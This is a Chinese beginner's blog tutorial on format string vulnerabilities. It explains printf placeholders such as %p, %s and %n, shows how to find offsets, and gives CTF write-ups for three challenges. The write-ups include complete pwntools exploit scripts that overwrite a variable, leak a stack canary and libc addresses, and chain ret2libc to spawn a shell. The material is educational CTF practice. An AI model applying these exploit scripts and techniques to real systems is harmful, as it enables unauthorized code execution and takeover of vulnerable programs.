pwn知识——格式化字符串漏洞(萌新向)
怎么说呢,这个东西感觉相当不好写,涉及到的知识点很多,不一定能讲明白,我自己写的话只能尽量往基础的知识点上写了,若有不准确之处,希望佬们能及时指出,让我加以修改。
格式化字符串漏洞
概念
格式化字符串漏洞的形成原因在于printf/fprintf/vsprintf等格式化字符串打印函数在接受可变参数时,因码农自己偷懒写,编写的形式不正确而形成的漏洞。当然,这是比较诙谐的说法。
真正形成的原因是,当初创建printf函数的这批人没有让printf去检测格式化字符串的占位符个数与参数个数是否相等。只要在执行printf时,每读取到一个占位符,就会到相应的地址里获取数据并根据占位符的类型进行解码输出。所以即使你没有参数,它也是可以进行输出的
举个例子:
char true[0x100]
规范写法:printf("%s",true)
懒人:printf(true)
这个时候就产生了格式化字符串漏洞。
更直观的来个代码
#include<stdio.h>
int main()
{
int a = 233;
printf("a=%d",a);
return 0;
}
理所当然,最终打印出a=233
那如果我们这样呢?
#include<stdio.h>
int main()
{
int a = 233;
printf("a=%d");
return 0;
}
那么就会出现一个很抽象的结果,至于为什么是负数,这就与补码有关了,只要知道这是个很大的数字,没记错的话,在十六进制里,这个数字是0xf开头,要么是动态链接库的地址,要么是栈的地址
与补码有关知识链接:https://blog.csdn.net/zk_lar/article/details/125072002
既然我们可以在没有参数的情况下读取到占位符里边的数据,那么我们就可以利用这一点来泄露某一函数的地址,canary的值甚至直接获得flag
格式化字符串
在写这个之前先叠个甲,因为这个是针对初学者的(包括博主自己也是初学者),所以有些概念可能会被简化甚至是忽略(因为初期确实不常用),主要写的都是在早期时常常用到的。若有不正之处,还希望能够多多包涵。
基本格式
%[parameter][flags][field width][.precision][length]type
我们需要关注的是
parameter
n$,获取格式化字符串中的指定参数,比如%6$p表示从当前地址数起,获取往后偏移第6个字节长度的地址,类似于"%p%p%p%p%p%p",但是前五个"%p"不会生效
但是需要注意64位程序,前6个参数是存在寄存器中的,从第7个参数开始才会出现在栈中,所以栈中从格式化串开始的第一个,应该是%7$n
如图所示
length
h输出2字节
hh输出1字节
field width
输出的最小宽度
type(格式化字符串占位符类型)
%d/%i
输出有符号的十进制整数。
%u
输出无符号的十进制整数(可以默认为自然数)
%x/%X
输出十六进制数,且输出4字节长
注:其输出的数值是不带"0x"开头的
%lx
同%x,但输出的是8字节长
%p
输出十六进制数据,附带"0x"开头,且x86下输出4字节,x64下输出8字节。
常用于泄露地址
%x,%lx,%p的建议
多数情况下都建议用%p来泄露地址,既容易辨别出不同的地址(免得没有"0x"开头后混淆了),又可以不用考虑位数(x86,x64)的区别。除非某些题目实在太细了,细到需要靠%nx来泄露参数,否则都建议用%p进行地址泄露。
%s
输出字符串。也就是在进入对应地址之后将地址之中保存的值解析并输出出来。比如0x4040c0里有存有flag的值,则可以通过%s通过偏移计算来获取flag的值。
常用于简单的格式化字符串漏洞题中直接获取flag的值,或者是泄露某函数在got表里的真实地址,然后又可以用快乐的ret2libc手法进行攻击了
注:%s会有零截断,比如0x00402004%s,在遇到x00后后边会无法读取,造成泄露失败,所以还是得根据情况使用%s。另外,当%s读取的是非法地址(如非用户态所能进行读取的地址,也就是权限不够;或者本身地址就是错误的等等)时,程序会崩溃,所以一般情况下不用%s%s%s%s这样的形式进行数据读取
且%s将会把指定地址中的数据按照字符形式(ASCII)进行输出,但是在ASCII中有一些字符是不可见字符。如果输出不可见字符的话将会被省略。那么即使程序进行输出我们也无法进行接收。如果对应地址中的数据中有至少一个可见字符,将会全部进行输出,这时我们可以进行接收,这在我们泄露libc地址的时候非常重要,若是泄露的got表不存在可见字符,那么输出就会被省略,我们就没法通过泄露got表的函数地址进而计算libc基地址
%c
输出字符。比如%100c,会填充100个'\x00'字符,可用于快速覆盖
具体的展示效果如下
#inclde<stdio.h>
int main()
{
printf("%100ctest!\n");
return 0;
}
常与%n搭配向特定地址写入数据(写入数据是%n的功能,%c是为了快速到达该地址,类似填充垃圾值)
%n
将%n前的已成功打印出的字符个数写入指针所指向的地址内,且写入的字节大小为4字节。
比如:
#include<stdio.h>
int main()
{
int a;
printf("test%n\n", &a);
printf("The number of a is %d", a);
return 0;
}
效果为往a所处的地址内写入4(t,e,s,t的字符个数为4),近似于*a = 4这一表达式
如果缺少参数
#include<stdio.h>
int main()
{
int a;
printf("test%n\n");
printf("The number of a is %d", a);
return 0;
}
则会将4写入到"test%n"上面一格的内存当中,而a无变化
故%n常常用来篡改某一地址的内容,也是格式化字符串漏洞的核心攻击方式之一
注:①.%n的payload构造在x86和x64的情况下是不一样的。在x86的payload中,改写got表的地址可以放在前面,因为它的地址的字节均为有效,不会被截断。而x64的payload中,由于打印出的got表地址中有效字节为6位,高位字节为‘00’,在字符串里就是终止符的意思,当调用printf输出到‘00’时,就会终止输出,造成攻击失败
②.当低字节写入的个数大于高字节的个数的时候,就应该运用补码了。
比如你在低字节已经写入了0x5678,而在该got表的got+2处想再写入0x1234,则需要写入-0x4444(-0x5678+0x1234)。
在补码下,-0x5678 = 0xa988
而-0x4444=0xa998+0x1234=0xbbbc=(0x10000 - 0x5678) + 0x1234 ,通用公式为后半部分
即 (0x10000 - 已写入低位字节的数字) + 想写入高位字节的数字
摘自:https://www.bilibili.com/video/BV1Uv411j7fr/?p=13&vd_source=51fe165aa505d5468e1ceabe09364ef5
①%n的衍生
1.%hn-->2字节
2.%hhn-->1字节
3.%ln-->32位4字节,64位8字节
4.%lln-->8字节
②%n及其衍生的使用小建议
在攻击的时候,原则上是能使用hhn绝不用hn,能使用hn绝不用n,这是有原因的。一是因为一个%n传输的是int大小的字符个数,会使printf输出大量的字符数量,可能造成程序崩溃。二是因为在输出大量的字符数量后,自己也不好接收数据,很难做到精确控制我们需要修改的地方。所以一般来说我们都是%hhn和%hn结合使用的,使数据更加稳定可控
这些基本就是利用格式化字符串漏洞的时候会用上的占位符,其中以%p,%s.%n最为重要,%c可以起很好的辅助作用
攻击手法
①.通过IDA(或者其它能反编译的工具)寻找有格式化字符串漏洞的函数
形如:
printf(&buf)
\*or*\
printf(buf)
\\其实这两个都是一个意思,只不过看你的反编译器怎么显示
②.找到漏洞函数后,通过nc连接后,求偏移量
求偏移量我们常常使用"AAAA"作为定位符,然后用"%p-%p-%p-%p-%p..."泄露地址求取偏移量("-"并无实际意义,只是把地址分隔开,便于数出偏移量),因为定位符是"A...",所以当我们看到地址里有形如"0x414141..."或"0x...4141..."这样的地址时,数出第一个地址到这一个地址的个数,这就是偏移量,是我们能够控制的参数。
注:千万别数错了,我们求偏移量要求的是从格式化字符串的参数开始数起的,而不是从printf的第一个参数开始数的。以我②中为例子
"AAAA"是printf的第一个参数,而第一个"%p"才是我们的格式化字符串的第一个参数,如图
这就是求取偏移量的方法,在这里是偏移量为6,"nil"其实也是个地址,它的地址是0x0,但是它是显示不出来的,所以是显示为了"nil",不可忽略!
③.因题而异
其实就没什么别的手法了,上面两个是最通用的了,剩下的攻击手法就是看题目让你做什么了,常见的有泄露canary值(%s),泄露libc地址(%p)或者覆盖内存(%n),没有个固定套路。
例题
①.[HNCTF 2022 Week1]fmtstrre(%s的基础应用)
首先我们checksec
嗯,NX保护开启,无法往栈上堆代码,Partial RELRO的开启让部分地址随机化,没法直接使用地址,再看看IDA代码
可以看到,它会尝试打开一个叫做"flag"的文件,并且把flag里的内容输出到name的地址里边,相当于给name赋值了。如果没有"flag"文件,就输出"Open failed"。然后我们就看到printf(buf),明显的格式化字符串漏洞,read函数可以泄露出printf里我们的可控参数,那么接下来思路就明了了,通过控制泄露出的可控参数,来打印出远端的"flag"内容
既然题目要求我们打开"flag",那我们就把ELF程序与自建的名为"flag"的文本放在同一个文件夹下
然后,首先计算出可控参数的偏移量这里提供两种求取偏移量的方法
①.nc然后爆破
通过计算可以得出在printf里的可控参数偏移量为6
接下来就是该动态调试了,确认&name在printf里的偏移量,断点下在read函数,然后在调用printf时进入stack中查看偏移量
可以看到,此时name相对rdi的偏移量为0x20,换算为十进制就是32,那么总体的偏移量就是32+6=38
②.在gdb调试的时候使用"fmtarg addr"进行偏移量求取,这可比我数快多了
PS:其实还有第三种方法,就是pwntools里提供的类(可以近似理解为struct)FmtStr和函数fmtstr_payload函数,学会这个后能大大提高我们做格式化字符串漏洞题目的速度,不过博主其实还搞不懂它的格式和原理,有兴趣的小伙伴可以看这个链接
此时,直接nc即可
这就直接拿到了flag的值,这既是%s的基础应用,直接拿取flag
②.CGfsb(%n的基础用法)
checksec
RELRO和NX开了,不多赘述,Canary也是开的,表明我们如果没法泄露出Canary的值就没办法进行栈溢出,但要不要这样做,还得看题目要求,先看题目代码
还是一眼看出格式化字符串漏洞,然后就是后面紧跟着“如果pwnme==8,你就可以拿到flag,否则啥也没有”的逻辑,那思路就是篡改pwnme地址里储存的值,将其改为8即可,那么现在就是要先拿到pwnme的地址,然后篡改里边的内容。IDA里很容易就能找到pwnme的地址
bss区可以理解为尚未赋值的区域,比如
int a;
scanf("%d",&a);
就像这里边的a,只是定义了a这个变量,但还等着你往里面输入数值呢。
好了,拿到地址后就该泄露printf里的可控参数了,nc,启动!
前边有演示过怎么数了,我这次就不p图了,随便数一下就能算出可控参数的偏移量为10,ok,现在就可以构造脚本了
from pwn import *
p = remote ('61.147.171.105',65204)
#offset = 10
pwnme_addr = 0x804A068
p.recvuntil("name:\n")
p.sendline("Dusk")
p.recvuntil("please:\n")
payload = p32(pwn_addr) + b'aaaa%10$n' #因为是32位,所以用p32打包,而p32占4字节,为了将pwnme赋值为8,我们需要填充垃圾数值,于是填充了'aaaa',这下就成功打印了8位数字了,于是使用%10$n(此时pwnme_addr位于printf的格式化字符串参数的第十个餐宿上)将pwnme赋值为8了
p.sendline(payload)
p.interactive()
运行脚本即可
这就是%n的基本用法,%n会有很多拓展题,比如连续的用%n赋不同数值,计算的偏移量会有所不同,不过这都是比较难的题了,博主本人也不会写,所以就写个基础格式化字符串漏洞题目,希望大家都能有所收获
③.[2021 鹤城杯]littleof(使用格式化字符串漏洞泄露Canary值)
懒了!
太喜欢,canary开了捏,栈溢出难用了捏,看看IDA代码吧~
看得出来,Canary的值被储存在了v3中,v3也包含在buf里,而第二个printf函数可以泄露出Canary值,那么我们现在要做的就是先确定v3相对于buf的偏移量,确保不会冲掉Canary
可以算出offset = 0x50 - 0x08 == 0x48
获取偏移量后,我们就要开始泄露Canay的值了,要合理利用printf里给的%s,泄露出Canary的值,因为它会读取buf里所有值,所以它理所当然会读取到Canary的值,我们只需要从最后一个垃圾值开始接收数据就好,此时的脚本如下
from pwn import *
context(arch = "amd64",os = "linux",log_level= "debug")#开启debug是为了更好查看Canary的值是如何接收的
p = remote('node4.anna.nssctf.cn',28565)
offset_canary = 0x50 - 0x08 #result == 0x48
payload_canary = offset_canary * b'A'
p.recvuntil("Do you know how to do buffer overflow?\n")
p.sendline(payload_canary)
p.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")#在垃圾值之后开始接收Canary的数值,有个"\n"是因为sendline会发送一个"\n',不能让它影响后面的数据接收
canary_addr_first = u64(p.recv(7).rjust(8,b'\x00'))#虽然Canary占8字节,但是Canary默认是'\x00'结尾的,所以我们只用接收7字节,不过我到现在还没弄懂ljust和rjust填充'\x00'有什么区别,ljust过不了而rjust却能过
#log.success("Canary:"+(hex(canary_addr_first)))
在获取Canary值后,就可以进行栈溢出了。但是从刚刚IDA里我们没有找到后门函数,里边也没有system函数和bin/sh,那这又是激动人心的ret2libc环节,好耶!
那么又是ROPgadget起手时刻!
OK,是心动的感觉,又可以构造脚本了~
#这是包含上边的脚本的!为了便于理解所以分了两次来写
from LibcSearcher import LibcSearcher
elf = ELF('./2021_鹤城杯_littleof')
rdi_ret_addr = 0x400863
ret_addr = 0x40059e
> 需要ret的原因见我上一篇博客ret2libc:https://www.cnblogs.com/falling-dusk/p/17856141.html#需要ret的原因见我上一篇博客ret2libc:https://www.cnblogs.com/falling-dusk/p/17856141.html
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400789
payload_overflow_first = offset_canary * b'A' + p64(canary_addr_first) + 0x08 * b'A' + p64(rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #泄露出puts函数的真实地址并跳转回main进行循环
p.recvuntil(b'Try harder!')
p.sendline(payload_overflow_first)
p.recvuntil("I hope you win\n")
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))#接收puts函数的真实地址
libc = LibcSearcher('puts',real_puts_addr)#libc.so版本搜寻
libc_base = real_puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
p.recvuntil("Do you know how to do buffer overflow?\n")
p.sendline(payload_canary)
p.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")
canary_addr_second = u64(p.recv(7).rjust(8,b'\x00'))#因为每次装载程序时地址都会随机化,同样Canary值也会改变,所以还需要再泄露一遍
payload_overflow_second = offset_canary * b'A' + p64(canary_addr_second) + 0x08 * b'A' + p64(ret_addr) + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.recvuntil(b'Try harder!')
p.sendline(payload_overflow_second)
p.interactive()
这是分两次的脚本,合起来如下
from pwn import *
from LibcSearcher import LibcSearcher
context(arch = "amd64",os = "linux",log_level= "debug")
p = remote('node4.anna.nssctf.cn',28565)
elf = ELF('./2021_鹤城杯_littleof')
offset_canary = 0x50 - 0x08 #result == 0x48
payload_canary = offset_canary * b'A'
rdi_ret_addr = 0x400863
ret_addr = 0x40059e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400789
p.recvuntil("Do you know how to do buffer overflow?\n")
p.sendline(payload_canary)
p.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")
canary_addr_first = u64(p.recv(7).rjust(8,b'\x00'))
log.success("Canary:"+(hex(canary_addr_first)))
payload_overflow_first = offset_canary * b'A' + p64(canary_addr_first) + 0x08 * b'A' + p64(rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recvuntil(b'Try harder!')
p.sendline(payload_overflow_first)
p.recvuntil("I hope you win\n")
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',real_puts_addr)
libc_base = real_puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
p.recvuntil("Do you know how to do buffer overflow?\n")
p.sendline(payload_canary)
p.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")
canary_addr_second = u64(p.recv(7).rjust(8,b'\x00'))
payload_overflow_second = offset_canary * b'A' + p64(canary_addr_second) + 0x08 * b'A' + p64(ret_addr) + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.recvuntil(b'Try harder!')
p.sendline(payload_overflow_second)
p.interactive()
运行脚本,选对libc.so的版本即可
总结:
虽然各位佬都说格式化字符串漏洞很简单,但我真不这么觉得,我总觉得这比我当初学ret2libc还难,这个的攻击手法更多,而且需要的操作控制也更精细,难度就非常灵活,简单的确实就是跟基础题差不多,难的就是要各种调试,计算不同的偏移量,控制输出程度,总体而言非常的费脑细胞,让我非常痛苦,我只希望在接下来的时间里能更加熟练格式化字符串,争取做出更多的题,这样我才有信心去学习堆啊(悲)